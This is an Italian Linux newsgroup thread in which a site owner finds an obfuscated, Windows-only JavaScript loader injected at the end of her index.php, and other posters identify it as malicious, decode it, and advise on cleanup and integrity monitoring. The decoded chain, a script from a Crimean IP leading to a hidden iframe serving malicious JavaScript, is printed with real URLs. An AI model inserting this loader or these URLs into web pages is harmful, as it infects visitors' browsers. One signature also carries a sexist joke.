Newsgroup: it.comp.os.linux.iniziare
Titolo: che cosa è?

Ho trovato questo in fondo al file index.php e non ce l'ho messo io
<!-- ad -->
<html>
<script>
/*@cc_on @*/
/*@if (@_win32)
m=0;while(m<82)document.write(String.fromCharCode('=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:2/323/76/230tdsjqu0tubut/kt#?=0tdsjqu?'.charCodeAt(m++)-1))
/*@end @*/
</script>
</html><!-- /ad --><script>check_content()</script>
cosa �?
--
Claretta 

"claretta" <claretta@eccetera> ha scritto nel messaggio 
news:4a32e40d$0$1108$4faf...@reader3.news.tin.it...

e cosa ne pensate di questo nel file php.ini?
safe_mode=off
get_magic_quotes_gpc=on
register_globals=Off
allow_url_include=Off 

 cosa �?
E' codice malevolo, inserito nella pagina da chi ti ha attaccato.
Nell'ordine puoi agire in questi modi:
- se puoi mettere offline il server la cosa pi� sicura (se possibile) 
sarebbe ripristinare l'ultimo backup sicuramente funzionante.
- se non puoi restorare ma puoi tenere offline il server puoi passare con un 
bel controllo antivirus (clamav?) e antirootkit (rkhunter?) da CD bootable.
- se non puoi fare nemmeno questo (e allora non va molto bene) scansione 
filesystem con antivirus e antirootkit con sistema attivo ma tutti i servizi 
possibili chiusi.
Dopo la verifica di cui sopra cambio di TUTTE le password del sistema e di 
tutti i sistemi che condividono le stesse password (tutte vuol dire tutte, 
quindi anche quelle dei DB, quelle Web, quelle di sistema, VPN, e chi pi� ne 
ha pi� ne metta) e aggiornamento di tutto il sistema e di tutte le 
applicazioni che ospiti sul server.
Fatto tutto questo sarebbe il caso di pensare ad un tripwire o simile per il 
controllo di integrit� e per accorgerti di eventi analoghi in futuro.
-- 
Flavio Visentin
Scientists have finally discovered what's wrong with the female brain:
On the left side, there is nothing right, and on the right side, there
is nothing left.

 E' codice malevolo, inserito nella pagina da chi ti ha attaccato.
Mi ero dimenticata di dire che il server � linux e che ci gira plesk e suphp 
e che il codice l'ho trovato solo su un dominio (per ora....)
--
Claretta 

claretta ha scritto:

fai un grep ricorsivo e cerca un include quasi certamente avrenno 
incluso un get o un post alla leggera

 tutti i servizi possibili chiusi.
...cut...
scusate l'intromissione... sarebbe interessante sapere cosa fa e quali
debolezze hanno usato e sfruttato per compromettere il sistema. 
Idee?
-- 
Pandozy vede tutto
    _   _
  O'|,=,/'O
    (0 0)
ooO--(_)--Ooo

 cosa è?
exploit.
-- 
*ༀUser Unix/Nix/Linux #0101*





Ho trovato questo in fondo al file index.php e non ce l'ho messo io


<!-- ad -->
<html>
<script>
/*@cc_on @*/
/*@if (@_win32)
m=0;while(m<82)document.write(String.fromCharCode('=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:2/323/76/230tdsjqu0tubut/kt#?=0tdsjqu?'.charCodeAt(m++)-1))
/*@end @*/
</script>
</html><!-- /ad --><script>check_content()</script>


cosa è?

--
Claretta 







sembra qualcosa per scrivere un testo nella pagina. Qualcosa che e' lunga 82 caratteri, codificata nella stringa apparentemente casuale. Forse e' l'indirizzo di un sito. Non capisco perche' solo per i sistemi win32. Forse cliccando sul link che appare, becchi un malware che funziona solo su quei sistemi.









Quel codice prodice questo:
<script type="text/javascript" src="
http://91.212.65.12/script/stats.js
">
L'indirizzo IP appartiene a un simpatico hosting in Crimea, Ucraina...
scaricando il javascript, se lo si esegue viene prodotto questo:
<iframe src="
http://mbmail.eu/ios/?8a55f0864ac163afecbcac64a826a717
" width=1
height=1 style="visibility: hidden"></iframe>
Collegandosi a quell'indirizzo, viene scaricato un bel file gzippato (ed
evidentemente tengono traccia dell'IP sul server, perche' tentativi
successivi di scaricarlo ancora restituiscono semplicemente "BB" - 2
bytes).
Nel file gzippato, indovinato, c'e' un bel javascriptone, che puoi vedere
qui:
http://pastebin.com/m2afc9597
auguri....(pero' i nomi delle variabili sono fantasiosi)

 Quel codice prodice questo:
Ah ovviamente...NON aprite nessuno di quegli indirizzi con un browser, meno
che meno con internet explorer.

antani ha scritto:

nemmeno con links? :-)